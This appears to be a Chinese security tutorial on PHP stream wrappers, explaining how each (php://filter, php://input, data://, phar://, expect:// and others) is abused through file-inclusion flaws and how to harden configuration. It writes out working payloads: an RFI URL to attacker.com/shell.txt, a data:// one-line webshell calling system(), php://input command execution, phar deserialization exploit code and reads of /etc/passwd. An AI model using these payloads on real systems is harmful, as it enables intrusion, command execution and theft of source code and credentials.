PHP伪协议详解:网络安全中的利用与防御
作为网络安全工程师,深入理解PHP伪协议的利用方式对渗透测试和漏洞防御至关重要。以下结合实战案例,逐条解析各协议用法及风险点(环境基于PHP 5.6+,部分协议需特定配置)。
1. file://
-- 本地文件访问
作用 :直接读取服务器本地文件。
语法 :file://[绝对路径]
php
include('file:///etc/passwd'); // 读取Linux系统用户列表
安全利用:
- 敏感文件泄露 :在文件包含漏洞中获取
/etc/passwd
、/proc/self/environ
(环境变量)、网站配置文件(如config.php
)。 - 防御 :配置
open_basedir
限制文件访问范围。
2. http://
/https://
-- 远程资源包含
作用 :加载远程URL内容。
语法 :http(s)://example.com/shell.txt
安全利用:
-
远程文件包含(RFI) :
phpinclude($_GET['file']); // 参数?file=http://attacker.com/shell.txt
攻击者托管恶意PHP脚本,服务器下载并执行。
-
防御 :关闭
allow_url_include
(默认关闭)。
3. ftp://
-- FTP协议访问
作用 :通过FTP读取文件(需认证)。
语法 :ftp://user:pass@example.com/file
安全利用:
- SSRF攻击 :利用服务器发起FTP请求,探测内网服务(如
ftp://192.168.1.1:21
)。 - 防御 :禁用
ftp
扩展或防火墙限制外连。
4. php://
-- I/O流操作 ⚠️ 高危!
核心子协议:
-
php://input
:读取原始POST数据php// 参数:?file=php://input // POST Body: <?php system('id'); ?>
条件 :需开启
allow_url_include=On
。 -
php://filter
:文件内容编码/过滤phpinclude('php://filter/convert.base64-encode/resource=config.php');
利用:绕过文件读取限制,获取源码Base64编码。
-
php://fd
:访问文件描述符(需知fd编号)。
5. zlib://
-- 压缩流处理
作用 :读取压缩文件(如.gz
)。
语法 :compress.zlib://file.gz
利用:
- 读取压缩后的日志文件(如
access.log.gz
),避免直接解析。
6. data://
-- 内嵌数据流 ⚠️ 高危!
作用 :直接在URL中嵌入数据。
语法:
php
include('data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+');
// 等价于执行 <?php phpinfo(); ?>
条件 :allow_url_include=On
。
实战 :短指令执行(如data://text/plain,<?=
system($_GET[1]);?>
)。
7. glob://
-- 文件路径匹配
作用 :遍历目录(类似glob()
函数)。
语法 :glob:///var/www/*.php
利用:
- 信息收集:列目录结构(需配合
print_r
等输出)。
php
$it = new DirectoryIterator("glob:///var/www/*");
foreach($it as $f) { echo $f."\n"; }
8. phar://
-- 归档文件访问 ⚠️ 反序列化漏洞!
作用 :读取ZIP/PHAR等归档中的文件。
语法 :phar:///path/to/archive.zip/internal/file.php
高危漏洞:
-
反序列化利用 :构造恶意PHAR文件触发
__destruct()
或__wakeup()
。php// 生成恶意PHAR(需写权限) $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'data'); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata($malicious_object); // 插入恶意对象 $phar->stopBuffering();
触发 :
include('phar://exploit.phar');
。
防御 :禁用phar
扩展或过滤输入。
9. ssh2://
-- SSH2协议
作用 :通过SSH访问文件(需ssh2
扩展)。
语法 :ssh2://user:pass@example.com:22/path/to/file
利用:SSRF场景下尝试连接内网SSH服务(较少见)。
10. rar://
-- RAR压缩包
作用 :读取RAR文件内容(需rar
扩展)。
语法 :rar:///path.rar#file.txt
利用:结合文件上传漏洞,读取压缩包内敏感文件。
11. ogg://
-- 音频流
作用 :处理OGG音频(实际利用极少)。
语法 :ogg://sound.ogg
12. expect://
-- 交互式命令执行 ⚠️ 最高危!
作用 :直接执行系统命令(需expect
扩展)。
语法 :expect://id
php
file_get_contents('expect://cat /etc/passwd');
防御 :永远禁用expect
扩展(默认不安装)。
防御策略总结
- 关键配置 :
allow_url_fopen=Off
-- 禁用远程URL访问allow_url_include=Off
-- 禁用远程/伪协议包含disable_functions=expect
-- 禁用危险函数
- 过滤输入 :检查
include
/require
参数是否包含://
。 - 最小权限:运行PHP的用户权限应限制(非root)。
- 扩展管理 :卸载不必要的扩展(
expect
、ssh2
)。
实战案例
- CTF文件包含题 :
用php://filter/convert.base64-encode/resource=index.php
泄露源码。 - 真实渗透 :
上传图片马(ZIP重命名),通过phar://images/avatar.jpg/shell.php
触发反序列化。
掌握这些协议的特性,可在渗透测试中快速识别漏洞,同时加固自身应用安全。建议在测试环境中验证上述案例,加深理解!